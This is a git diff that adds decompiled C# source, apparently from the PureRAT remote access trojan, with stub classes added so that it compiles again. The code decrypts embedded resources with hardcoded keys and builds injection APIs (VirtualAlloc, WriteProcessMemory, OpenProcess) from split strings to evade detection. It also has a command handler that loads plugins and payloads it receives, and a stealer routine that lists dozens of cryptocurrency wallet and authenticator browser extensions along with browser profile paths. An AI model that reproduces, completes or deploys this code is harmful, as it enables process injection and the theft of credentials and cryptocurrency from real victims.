202; + obj13[2] = 91; + obj13[2] = 115; + obj13[2] = 138; + obj13[2] = 108; + obj13[3] = 107; + obj13[3] = 128; + obj13[3] = 116; + obj13[3] = 92; + obj13[3] = 211; + obj13[4] = 90; + obj13[4] = 39; + obj13[4] = 157; + obj13[4] = 96; + obj13[4] = 84; + obj13[4] = 10; + obj13[5] = 186; + obj13[5] = 73; + obj13[5] = 168; + obj13[5] = 147; + obj13[5] = 170; + obj13[5] = 43; + obj13[6] = 155; + obj13[6] = 145; + obj13[6] = 225; + obj13[7] = 62; + obj13[7] = 103; + obj13[7] = 234; + obj13[8] = 166; + obj13[8] = 164; + obj13[8] = 233; + obj13[9] = 140; + obj13[9] = 140; + obj13[9] = 149; + obj13[9] = 163; + obj13[9] = 111; + obj13[9] = 81; + obj13[10] = 147; + obj13[10] = 61; + obj13[10] = 158; + obj13[10] = 123; + obj13[10] = 213; + obj13[11] = 58; + obj13[11] = 69; + obj13[11] = 84; + obj13[11] = 69; + obj13[11] = 192; + obj13[11] = 228; + obj13[12] = 147; + obj13[12] = 148; + obj13[12] = 176; + obj13[13] = 24; + obj13[13] = 160; + obj13[13] = 160; + obj13[13] = 47; + obj13[13] = 234; + obj13[14] = 133; + obj13[14] = 184; + obj13[14] = 127; + obj13[14] = 153; + obj13[14] = 136; + obj13[14] = 178; + obj13[15] = 125; + obj13[15] = 87; + obj13[15] = 138; + obj13[15] = 137; + obj13[15] = 65; + byte[] obj14 = obj13; + Array.Reverse(obj14); + byte[] publicKeyToken = Class12.assembly_0.GetName().GetPublicKeyToken(); + if (publicKeyToken != null && publicKeyToken.Length != 0) + { + obj14[1] = publicKeyToken[0]; + obj14[3] = publicKeyToken[1]; + obj14[5] = publicKeyToken[2]; + obj14[7] = publicKeyToken[3]; + obj14[9] = publicKeyToken[4]; + obj14[11] = publicKeyToken[5]; + obj14[13] = publicKeyToken[6]; + obj14[15] = publicKeyToken[7]; + } + for (int j = 0; j < obj14.Length; j++) + { + obj12[j] ^= obj14[j]; + } + if (int_6 == -1) + { + SymmetricAlgorithm symmetricAlgorithm2 = Class12.smethod_6(); + symmetricAlgorithm2.Mode = CipherMode.CBC; + ICryptoTransform transform2 = symmetricAlgorithm2.CreateDecryptor(obj12, obj14); + MemoryStream obj15 = (MemoryStream)Class12.smethod_28(); + CryptoStream cryptoStream2 = new CryptoStream(obj15, transform2, CryptoStreamMode.Write); + cryptoStream2.Write(obj10, 0, obj10.Length); + cryptoStream2.FlushFinalBlock(); + Class12.byte_1 = Class12.smethod_29(obj15); + obj15.Close(); + cryptoStream2.Close(); + obj10 = Class12.byte_1; + } + if (Class12.assembly_0.EntryPoint == null) + { + Class12.int_2 = 80; + } + new Class12().method_1(obj12, obj14, obj10); + } + + // Token: 0x06000785 RID: 1925 RVA: 0x00022F14 File Offset: 0x00021114 + internal static string smethod_15(int int_6) + { + if (Class12.byte_1.Length == 0) + { + Class12.list_1 = new List(); + Class12.list_0 = new List(); + Class12.smethod_14(Class12.assembly_0.GetManifestResourceStream("cF1CKXVABfDQdYtCqN.pBbXk1dNJ3P1w5SAwQ"), int_6); + } + if (Class12.int_2 < 75) + { + MethodBase method = new StackFrame(1).GetMethod(); + if (Class12.assembly_0 != method.DeclaringType.Assembly) + { + bool flag = false; + string name = method.DeclaringType.Assembly.GetName().Name; + foreach (AssemblyName assemblyName in Class12.assembly_0.GetReferencedAssemblies()) + { + if (name == assemblyName.Name) + { + flag = true; + break; + } + } + if (!flag) + { + throw new Exception(); + } + } + Class12.int_2++; + } + object obj = Class12.object_2; + string result; + lock (obj) + { + int num = BitConverter.ToInt32(Class12.byte_1, int_6); + if (num >= Class12.list_0.Count || Class12.list_0[num] != int_6) + { + try + { + byte[] array = new byte[num]; + Array.Copy(Class12.byte_1, int_6 + 4, array, 0, num); + string @string = Encoding.Unicode.GetString(array, 0, array.Length); + Class12.list_1.Add(@string); + Class12.list_0.Add(int_6); + Array.Copy(BitConverter.GetBytes(Class12.list_1.Count - 1), 0, Class12.byte_1, int_6, 4); + return @string; + } + catch + { + goto IL_192; + } + } + result = Class12.list_1[num]; + } + return result; + IL_192: + return ""; + } + + // Token: 0x06000786 RID: 1926 RVA: 0x000230D4 File Offset: 0x000212D4 + internal static string smethod_16(string string_1) + { + "Nc3moHiXdmi63CytJ".Trim(); + byte[] array = Convert.FromBase64String(string_1); + return Encoding.Unicode.GetString(array, 0, array.Length); + } + + // Token: 0x06000787 RID: 1927 RVA: 0x00023104 File Offset: 0x00021304 + private static void smethod_17() + { + try + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + } + catch + { + } + } + + // Token: 0x06000788 RID: 1928 RVA: 0x0002312C File Offset: 0x0002132C + private static Delegate smethod_18(IntPtr intptr_4, Type type_0) + { + return (Delegate)typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] + { + typeof(IntPtr), + typeof(Type) + }).Invoke(null, new object[] + { + intptr_4, + type_0 + }); + } + + // Token: 0x06000789 RID: 1929 RVA: 0x00023190 File Offset: 0x00021390 + internal static object smethod_19(Assembly assembly_1) + { + object location; + try + { + if (!File.Exists(((Assembly)assembly_1).Location)) + { + goto IL_27; + } + location = ((Assembly)assembly_1).Location; + } + catch + { + goto IL_27; + } + return location; + IL_27: + try + { + if (File.Exists(((Assembly)assembly_1).GetName().CodeBase.ToString().Replace("file:///", ""))) + { + return ((Assembly)assembly_1).GetName().CodeBase.ToString().Replace("file:///", ""); + } + } + catch + { + } + try + { + if (File.Exists(assembly_1.GetType().GetProperty("Location").GetValue(assembly_1, new object[0]).ToString())) + { + return assembly_1.GetType().GetProperty("Location").GetValue(assembly_1, new object[0]).ToString(); + } + } + catch + { + } + return ""; + } + + // Token: 0x0600078A RID: 1930 + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string string_1); + + // Token: 0x0600078B RID: 1931 + [DllImport("kernel32", CharSet = CharSet.Ansi)] + public static extern IntPtr GetProcAddress(IntPtr intptr_4, string string_1); + + // Token: 0x0600078C RID: 1932 RVA: 0x000232A0 File Offset: 0x000214A0 + private static IntPtr smethod_20(IntPtr intptr_4, string string_1, uint uint_1) + { + if (Class12.delegate4_0 == null) + { + Class12.delegate4_0 = (Class12.Delegate4)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Find ".Trim() + "ResourceA"), typeof(Class12.Delegate4)); + } + return Class12.delegate4_0(intptr_4, string_1, uint_1); + } + + // Token: 0x0600078D RID: 1933 RVA: 0x000232FC File Offset: 0x000214FC + private static IntPtr smethod_21(IntPtr intptr_4, uint uint_1, uint uint_2, uint uint_3) + { + if (Class12.delegate5_0 == null) + { + Class12.delegate5_0 = (Class12.Delegate5)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Virtual ".Trim() + "Alloc"), typeof(Class12.Delegate5)); + } + return Class12.delegate5_0(intptr_4, uint_1, uint_2, uint_3); + } + + // Token: 0x0600078E RID: 1934 RVA: 0x00023358 File Offset: 0x00021558 + private static int smethod_22(IntPtr intptr_4, IntPtr intptr_5, [In] [Out] byte[] byte_2, uint uint_1, out IntPtr intptr_6) + { + if (Class12.delegate6_0 == null) + { + Class12.delegate6_0 = (Class12.Delegate6)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Write ".Trim() + "Process ".Trim() + "Memory"), typeof(Class12.Delegate6)); + } + return Class12.delegate6_0(intptr_4, intptr_5, byte_2, uint_1, out intptr_6); + } + + // Token: 0x0600078F RID: 1935 RVA: 0x000233C0 File Offset: 0x000215C0 + private static int smethod_23(IntPtr intptr_4, int int_6, int int_7, ref int int_8) + { + if (Class12.delegate7_0 == null) + { + Class12.delegate7_0 = (Class12.Delegate7)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Virtual ".Trim() + "Protect"), typeof(Class12.Delegate7)); + } + return Class12.delegate7_0(intptr_4, int_6, int_7, ref int_8); + } + + // Token: 0x06000790 RID: 1936 RVA: 0x0002341C File Offset: 0x0002161C + private static IntPtr smethod_24(uint uint_1, int int_6, uint uint_2) + { + if (Class12.delegate8_0 == null) + { + Class12.delegate8_0 = (Class12.Delegate8)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Open ".Trim() + "Process"), typeof(Class12.Delegate8)); + } + return Class12.delegate8_0(uint_1, int_6, uint_2); + } + + // Token: 0x06000791 RID: 1937 RVA: 0x00023478 File Offset: 0x00021678 + private static int smethod_25(IntPtr intptr_4) + { + if (Class12.delegate9_0 == null) + { + Class12.delegate9_0 = (Class12.Delegate9)Marshal.GetDelegateForFunctionPointer(Class12.GetProcAddress(Class12.smethod_26(), "Close ".Trim() + "Handle"), typeof(Class12.Delegate9)); + } + return Class12.delegate9_0(intptr_4); + } + + // Token: 0x06000792 RID: 1938 RVA: 0x000069EC File Offset: 0x00004BEC + private static IntPtr smethod_26() + { + if (Class12.intptr_0 == IntPtr.Zero) + { + Class12.intptr_0 = Class12.LoadLibrary("kernel ".Trim() + "32.dll"); + } + return Class12.intptr_0; + } + + // Token: 0x06000793 RID: 1939 RVA: 0x000234D0 File Offset: 0x000216D0 + private static byte[] smethod_27(string string_1) + { + byte[] array; + using (FileStream fileStream = new FileStream(string_1, FileMode.Open, FileAccess.Read, FileShare.Read)) + { + int num = 0; + int i = (int)fileStream.Length; + array = new byte[i]; + while (i > 0) + { + int num2 = fileStream.Read(array, num, i); + num += num2; + i -= num2; + } + } + return array; + } + + // Token: 0x06000794 RID: 1940 RVA: 0x00002A52 File Offset: 0x00000C52 + internal static Stream smethod_28() + { + return new MemoryStream(); + } + + // Token: 0x06000795 RID: 1941 RVA: 0x00006A22 File Offset: 0x00004C22 + internal static byte[] smethod_29(MemoryStream memoryStream_0) + { + return ((MemoryStream)memoryStream_0).ToArray(); + } + + // Token: 0x06000796 RID: 1942 RVA: 0x00023530 File Offset: 0x00021730 + private static byte[] smethod_30(byte[] byte_2) + { + Stream stream = Class12.smethod_28(); + SymmetricAlgorithm symmetricAlgorithm = Class12.smethod_6(); + symmetricAlgorithm.Key = new byte[] + { + 115, + 253, + 238, + 247, + 59, + 201, + 84, + 132, + 125, + 139, + 169, + 228, + 18, + 140, + 51, + 46, + 108, + 194, + 133, + 228, + 243, + 110, + 123, + 147, + 96, + 244, + 29, + 118, + 147, + 140, + 153, + 159 + }; + symmetricAlgorithm.IV = new byte[] + { + 29, + 149, + 96, + 240, + 130, + 80, + 126, + 97, + 146, + 93, + 96, + 30, + 203, + 100, + 3, + 46 + }; + CryptoStream cryptoStream = new CryptoStream(stream, symmetricAlgorithm.CreateDecryptor(), CryptoStreamMode.Write); + cryptoStream.Write(byte_2, 0, byte_2.Length); + cryptoStream.Close(); + return Class12.smethod_29((MemoryStream)stream); + } + + // Token: 0x06000797 RID: 1943 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_2() + { + return null; + } + + // Token: 0x06000798 RID: 1944 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_3() + { + return null; + } + + // Token: 0x06000799 RID: 1945 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_4() + { + return null; + } + + // Token: 0x0600079A RID: 1946 RVA: 0x00005A47 File Offset: 0x00003C47 + private byte[] method_5() + { + return null; + } + + // Token: 0x0600079B RID: 1947 RVA: 0x00006A2F File Offset: 0x00004C2F + private byte[] method_6() + { + int length = "LPdkgRgUfpysKUP".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079C RID: 1948 RVA: 0x00006A4A File Offset: 0x00004C4A + private byte[] method_7() + { + int length = "3QabmT60gjn4DmfTf".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079D RID: 1949 RVA: 0x00006A65 File Offset: 0x00004C65 + internal byte[] method_8() + { + int length = "C2kks3heUw0hSNw".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079E RID: 1950 RVA: 0x00006A80 File Offset: 0x00004C80 + internal byte[] method_9() + { + int length = "1u7PmTcanmOAbJby7".Length; + return new byte[] + { + 1, + 2 + }; + } + + // Token: 0x0600079F RID: 1951 RVA: 0x00005A47 File Offset: 0x00003C47 + internal byte[] method_10() + { + return null; + } + + // Token: 0x060007A0 RID: 1952 RVA: 0x00005A47 File Offset: 0x00003C47 + internal byte[] method_11() + { + return null; + } + + // Token: 0x060007A1 RID: 1953 RVA: 0x00006A9B File Offset: 0x00004C9B + internal static bool smethod_31() + { + return null == null; + } + + // Token: 0x060007A2 RID: 1954 RVA: 0x000022D0 File Offset: 0x000004D0 + internal static void smethod_32() + { + } + + // Token: 0x060007A3 RID: 1955 RVA: 0x00006A9B File Offset: 0x00004C9B + internal static bool smethod_33() + { + return null == null; + } + + // Token: 0x040002FF RID: 767 + private static byte[] byte_0; + + // Token: 0x04000300 RID: 768 + private static SortedList sortedList_0; + + // Token: 0x04000301 RID: 769 + internal static object object_0; + + // Token: 0x04000302 RID: 770 + [Class12.Attribute1(typeof(Class12.Attribute1.Class13[]))] + private static bool bool_0; + + // Token: 0x04000303 RID: 771 + private static long long_0; + + // Token: 0x04000304 RID: 772 + private static bool bool_1; + + // Token: 0x04000305 RID: 773 + private static Class12.Delegate6 delegate6_0; + + // Token: 0x04000306 RID: 774 + private static long long_1; + + // Token: 0x04000307 RID: 775 + private static IntPtr intptr_0; + + // Token: 0x04000308 RID: 776 + private static bool fQgAnroQoI; + + // Token: 0x04000309 RID: 777 + internal static RSACryptoServiceProvider rsacryptoServiceProvider_0; + + // Token: 0x0400030A RID: 778 + private static bool bool_2; + + // Token: 0x0400030B RID: 779 + private static Class12.Delegate8 delegate8_0; + + // Token: 0x0400030C RID: 780 + internal static object object_1; + + // Token: 0x0400030D RID: 781 + private static int int_0; + + // Token: 0x0400030E RID: 782 + private static Class12.Delegate7 delegate7_0; + + // Token: 0x0400030F RID: 783 + private static IntPtr intptr_1; + + // Token: 0x04000310 RID: 784 + private static object object_2; + + // Token: 0x04000311 RID: 785 + private static uint[] uint_0; + + // Token: 0x04000312 RID: 786 + private static IntPtr intptr_2; + + // Token: 0x04000313 RID: 787 + private static string[] string_0; + + // Token: 0x04000314 RID: 788 + internal static Hashtable hashtable_0; + + // Token: 0x04000315 RID: 789 + private static Class12.Delegate9 delegate9_0; + + // Token: 0x04000316 RID: 790 + private static bool bool_3; + + // Token: 0x04000317 RID: 791 + private static List list_0; + + // Token: 0x04000318 RID: 792 + private static int int_1; + + // Token: 0x04000319 RID: 793 + private static object object_3; + + // Token: 0x0400031A RID: 794 + private static IntPtr intptr_3; + + // Token: 0x0400031B RID: 795 + private static byte[] byte_1; + + // Token: 0x0400031C RID: 796 + private static Dictionary dictionary_0; + + // Token: 0x0400031D RID: 797 + internal static Assembly assembly_0; + + // Token: 0x0400031E RID: 798 + private static int int_2; + + // Token: 0x0400031F RID: 799 + private static List list_1; + + // Token: 0x04000320 RID: 800 + private static Class12.Delegate5 delegate5_0; + + // Token: 0x04000321 RID: 801 + private static Class12.Delegate4 delegate4_0; + + // Token: 0x04000322 RID: 802 + private static int int_3; + + // Token: 0x04000323 RID: 803 + private static bool bool_4; + + // Token: 0x04000324 RID: 804 + private static int[] int_4; + + // Token: 0x04000325 RID: 805 + private static bool bool_5; + + // Token: 0x04000326 RID: 806 + private static int int_5; + + // Token: 0x020000C0 RID: 192 + // (Invoke) Token: 0x060007A5 RID: 1957 + private delegate void Delegate1(object o); + + // Token: 0x020000C1 RID: 193 + internal class Attribute1 : Attribute + { + // Token: 0x060007A8 RID: 1960 RVA: 0x00002977 File Offset: 0x00000B77 + public Attribute1(object object_0) + { + } + + // Token: 0x060007A9 RID: 1961 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Attribute1() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x020000C2 RID: 194 + internal class Class13 + { + // Token: 0x060007AB RID: 1963 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class13() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060007AC RID: 1964 RVA: 0x00006AA1 File Offset: 0x00004CA1 + internal static bool smethod_0() + { + return Class12.Attribute1.Class13.object_0 == null; + } + + // Token: 0x04000327 RID: 807 + internal static object object_0; + } + } + + // Token: 0x020000C3 RID: 195 + internal class Class14 + { + // Token: 0x060007AD RID: 1965 RVA: 0x0002359C File Offset: 0x0002179C + internal static string smethod_0(string string_0, string string_1) + { + byte[] bytes = Encoding.Unicode.GetBytes(string_0); + byte[] key = new byte[] + { + 82, + 102, + 104, + 110, + 32, + 77, + 24, + 34, + 118, + 181, + 51, + 17, + 18, + 51, + 12, + 109, + 10, + 32, + 77, + 24, + 34, + 158, + 161, + 41, + 97, + 28, + 118, + 181, + 5, + 25, + 1, + 88 + }; + byte[] iv = Class12.smethod_8(Encoding.Unicode.GetBytes(string_1)); + MemoryStream memoryStream = new MemoryStream(); + SymmetricAlgorithm symmetricAlgorithm = Class12.smethod_6(); + symmetricAlgorithm.Key = key; + symmetricAlgorithm.IV = iv; + CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); + cryptoStream.Write(bytes, 0, bytes.Length); + cryptoStream.Close(); + return Convert.ToBase64String(memoryStream.ToArray()); + } + + // Token: 0x060007AF RID: 1967 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class14() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + } + + // Token: 0x020000C4 RID: 196 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + internal delegate uint Delegate2(IntPtr classthis, IntPtr comp, IntPtr info, uint flags, IntPtr nativeEntry, ref uint nativeSizeOfCode); + + // Token: 0x020000C5 RID: 197 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr Delegate3(); + + // Token: 0x020000C6 RID: 198 + internal struct Struct1 + { + // Token: 0x04000328 RID: 808 + internal bool bool_0; + + // Token: 0x04000329 RID: 809 + internal byte[] byte_0; + } + + // Token: 0x020000C7 RID: 199 + internal class Class15 + { + // Token: 0x060007BA RID: 1978 RVA: 0x00006AAB File Offset: 0x00004CAB + public Class15(Stream stream_0) + { + this.binaryReader_0 = new BinaryReader(stream_0); + } + + // Token: 0x060007BB RID: 1979 RVA: 0x00006ABF File Offset: 0x00004CBF + internal Stream method_0() + { + return this.binaryReader_0.BaseStream; + } + + // Token: 0x060007BC RID: 1980 RVA: 0x00006ACC File Offset: 0x00004CCC + internal byte[] method_1(int int_0) + { + return this.binaryReader_0.ReadBytes(int_0); + } + + // Token: 0x060007BD RID: 1981 RVA: 0x00006ADA File Offset: 0x00004CDA + internal int method_2(byte[] byte_0, int int_0, int int_1) + { + return this.binaryReader_0.Read(byte_0, int_0, int_1); + } + + // Token: 0x060007BE RID: 1982 RVA: 0x00006AEA File Offset: 0x00004CEA + internal int method_3() + { + return this.binaryReader_0.ReadInt32(); + } + + // Token: 0x060007BF RID: 1983 RVA: 0x00006AF7 File Offset: 0x00004CF7 + internal void method_4() + { + this.binaryReader_0.Close(); + } + + // Token: 0x060007C0 RID: 1984 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class15() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0400032A RID: 810 + private BinaryReader binaryReader_0; + } + + // Token: 0x020000C8 RID: 200 + [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Ansi)] + private delegate IntPtr Delegate4(IntPtr hModule, string lpName, uint lpType); + + // Token: 0x020000C9 RID: 201 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr Delegate5(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + // Token: 0x020000CA RID: 202 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int Delegate6(IntPtr hProcess, IntPtr lpBaseAddress, [In] [Out] byte[] buffer, uint size, out IntPtr lpNumberOfBytesWritten); + + // Token: 0x020000CB RID: 203 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int Delegate7(IntPtr lpAddress, int dwSize, int flNewProtect, ref int lpflOldProtect); + + // Token: 0x020000CC RID: 204 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr Delegate8(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId); + + // Token: 0x020000CD RID: 205 + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate int Delegate9(IntPtr ptr); + + // Token: 0x020000CE RID: 206 + [Flags] + private enum Enum1 + { + + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class16.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class16.cs new file mode 100644 index 0000000..7525bd3 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class16.cs @@ -0,0 +1,17 @@ +using System; + +// Stub replacement for .NET Reactor runtime (Class16) +// The original loaded protobuf-net from an encrypted embedded resource. +// When compiling from source, protobuf-net.dll is referenced directly. +internal class Class16 +{ + internal static void kLjw4iIsCLsZtxc4lksN0j() + { + // No-op: protobuf-net is referenced directly + } + + internal static bool smethod_3() + { + return true; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class2.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class2.cs new file mode 100644 index 0000000..c1edf6e --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class2.cs @@ -0,0 +1,117 @@ +using System; +using System.Linq; +using System.Threading; + +// Token: 0x02000007 RID: 7 +internal class Class2 +{ + // Token: 0x06000018 RID: 24 RVA: 0x00006E18 File Offset: 0x00005018 + internal void method_0(GClass2 gclass2_0) + { + try + { + if (gclass2_0 != null) + { + if (gclass2_0 is GClass8) + { + int int32_ = Interlocked.CompareExchange(ref Class9.int_1, 0, 0); + try + { + Timer timer_ = Class9.timer_1; + if (timer_ != null) + { + timer_.Dispose(); + } + } + catch + { + } + Class9.h(new GClass8 + { + HasValue = true, + Int32_0 = int32_, + String_1 = Class3.smethod_2(), + String_0 = Class3.d(), + Byte_0 = Class4.i(60) + }); + try + { + Interlocked.Exchange(ref Class9.int_1, 0); + } + catch + { + } + } + else + { + GClass3 gclass = gclass2_0 as GClass3; + if (gclass != null) + { + byte[] array = GClass1.smethod_0(gclass); + if (array != null) + { + Class7.smethod_1(Class4.smethod_0(), array); + Class9.smethod_9(); + } + } + else + { + GClass11 gclass2 = gclass2_0 as GClass11; + if (gclass2 != null) + { + byte[] array2; + if (gclass2.Byte_0 != null) + { + Class7.smethod_1(gclass2.String_0, gclass2.Byte_0); + array2 = gclass2.Byte_0; + } + else + { + array2 = Class7.smethod_0(gclass2.String_0); + if (array2 == null) + { + Class9.h(gclass2); + return; + } + } + new Class5().method_0(GClass1.smethod_0(new GClass7 + { + GClass4_0 = Class9.smethod_1(), + zPjUxLdehl = gclass2.String_1 + }), GClass14.smethod_1(array2.Reverse().ToArray())); + GC.Collect(); + } + else + { + GClass10 gclass3 = gclass2_0 as GClass10; + if (gclass3 != null) + { + Class1.smethod_0(gclass3); + } + } + } + } + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + } + } + + // Token: 0x0600001A RID: 26 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class2() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600001B RID: 27 RVA: 0x00002353 File Offset: 0x00000553 + internal static bool smethod_0() + { + return Class2.object_0 == null; + } + + // Token: 0x0400000E RID: 14 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Class3.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.Class3.cs new file mode 100644 index 0000000..d567dbc --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Class3.cs @@ -0,0 +1,628 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Win32; + +// Token: 0x02000008 RID: 8 +internal static class Class3 +{ + // Token: 0x0600001C RID: 28 RVA: 0x00006FD8 File Offset: 0x000051D8 + internal static string smethod_0() + { + if (Class3.string_0 == null) + { + Class3.a a = new Class3.a(); + a.field_a = new List(); + for (;;) + { + try + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + a.b = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + try + { + a.c = new Dictionary + { + { + "ibnejdfjmmkpcnlpebklmnkoeoihofec", + "TronLink" + }, + { + "nkbihfbeogaeaoehlefnkodbefgpgknn", + "MetaMask" + }, + { + "fhbohimaelbohpjbbldcngcnapndodjp", + "Binance Chain Wallet" + }, + { + "ffnbelfdoeiohenkjibnmadjiehjhajb", + "Yoroi" + }, + { + "cjelfplplebdjjenllpjcblmjkfcffne", + "Jaxx Liberty" + }, + { + "fihkakfobkmkjojpchpfgcmhfjnmnfpi", + "BitApp Wallet" + }, + { + "kncchdigobghenbbaddojjnnaogfppfj", + "iWallet" + }, + { + "aiifbnbfobpmeekipheeijimdpnlpgpp", + "Terra Station" + }, + { + "ijmpgkjfkbfhoebgogflfebnmejmfbml", + "BitClip" + }, + { + "blnieiiffboillknjnepogjhkgnoapac", + "EQUAL Wallet" + }, + { + "amkmjjmmflddogmhpjloimipbofnfjih", + "Wombat" + }, + { + "jbdaocneiiinmjbjlgalhcelgbejmnid", + "Nifty Wallet" + }, + { + "afbcbjpbpfadlkmhmclhkeeodmamcflc", + "Math Wallet" + }, + { + "hpglfhgfnhbgpjdenjgmdgoeiappafln", + "Guarda" + }, + { + "aeachknmefphepccionboohckonoeemg", + "Coin98 Wallet" + }, + { + "imloifkgjagghnncjkhggdhalmcnfklk", + "Trezor Password Manager" + }, + { + "oeljdldpnmdbchonielidgobddffflal", + "EOS Authenticator" + }, + { + "gaedmjdfmmahhbjefcbgaolhhanlaolb", + "Authy" + }, + { + "ilgcnhelpchnceeipipijaljkblbcobl", + "GAuth Authenticator" + }, + { + "bhghoamapcdpbohphigoooaddinpkbai", + "Authenticator" + }, + { + "mnfifefkajgofkcjkemidiaecocnkjeh", + "TezBox" + }, + { + "dkdedlpgdmmkkfjabffeganieamfklkm", + "Cyano Wallet" + }, + { + "aholpfdialjgjfhomihkjbmgjidlcdno", + "Exodus Web3" + }, + { + "jiidiaalihmmhddjgbnbgdfflelocpak", + "BitKeep" + }, + { + "hnfanknocfeofbddgcijnmhnfnkdnaad", + "Coinbase Wallet" + }, + { + "egjidjbpglichdcondbcbdnbeeppgdph", + "Trust Wallet" + }, + { + "hmeobnfnfcmdkdcmlblgagmfpfboieaf", + "XDEFI Wallet" + }, + { + "bfnaelmomeimhlpmgjnjophhpkkoljpa", + "Phantom" + }, + { + "fcckkdbjnoikooededlapcalpionmalo", + "MOBOX WALLET" + }, + { + "bocpokimicclpaiekenaeelehdjllofo", + "XDCPay" + }, + { + "flpiciilemghbmfalicajoolhkkenfel", + "ICONex" + }, + { + "hfljlochmlccoobkbcgpmkpjagogcgpk", + "Solana Wallet" + }, + { + "cmndjbecilbocjfkibfbifhngkdmjgog", + "Swash" + }, + { + "cjmkndjhnagcfbpiemnkdpomccnjblmj", + "Finnie" + }, + { + "dmkamcknogkgcdfhhbddcghachkejeap", + "Keplr" + }, + { + "kpfopkelmapcoipemfendmdcghnegimn", + "Liquality Wallet" + }, + { + "hgmoaheomcjnaheggkfafnjilfcefbmo", + "Rabet" + }, + { + "fnjhmkhhmkbjkkabndcnnogagogbneec", + "Ronin Wallet" + }, + { + "klnaejjgbibmhlephnhpmaofohgkpgkd", + "ZilPay" + }, + { + "ejbalbakoplchlghecdalmeeeajnimhm", + "MetaMask" + }, + { + "ghocjofkdpicneaokfekohclmkfmepbp", + "Exodus Web3" + }, + { + "heaomjafhiehddpnmncmhhpjaloainkn", + "Trust Wallet" + }, + { + "hkkpjehhcnhgefhbdcgfkeegglpjchdc", + "Braavos Smart Wallet" + }, + { + "akoiaibnepcedcplijmiamnaigbepmcb", + "Yoroi" + }, + { + "djclckkglechooblngghdinmeemkbgci", + "MetaMask" + }, + { + "acdamagkdfmpkclpoglgnbddngblgibo", + "Guarda Wallet" + }, + { + "okejhknhopdbemmfefjglkdfdhpfmflg", + "BitKeep" + }, + { + "mijjdbgpgbflkaooedaemnlciddmamai", + "Waves Keeper" + } + }; + Dictionary dictionary = new Dictionary(); + dictionary.Add("Chromium\\User Data\\", "Chromium"); + dictionary.Add("Google\\Chrome\\User Data\\", "Chrome"); + dictionary.Add("Google(x86)\\Chrome\\User Data\\", "Chrome"); + dictionary.Add("BraveSoftware\\Brave-Browser\\User Data\\", "Brave"); + dictionary.Add("Microsoft\\Edge\\User Data\\", "Edge"); + dictionary.Add("Tencent\\QQBrowser\\User Data\\", "QQBrowser"); + dictionary.Add("MapleStudio\\ChromePlus\\User Data\\", "ChromePlus"); + dictionary.Add("Iridium\\User Data\\", "Iridium"); + dictionary.Add("7Star\\7Star\\User Data\\", "7Star"); + dictionary.Add("CentBrowser\\User Data\\", "CentBrowser"); + dictionary.Add("Chedot\\User Data\\", "Chedot"); + dictionary.Add("Vivaldi\\User Data\\", "Vivaldi"); + dictionary.Add("Kometa\\User Data\\", "Kometa"); + dictionary.Add("Elements Browser\\User Data\\", "Elements"); + dictionary.Add("Epic Privacy Browser\\User Data\\", "Epic Privacy"); + dictionary.Add("uCozMedia\\Uran\\User Data\\", "Uran"); + 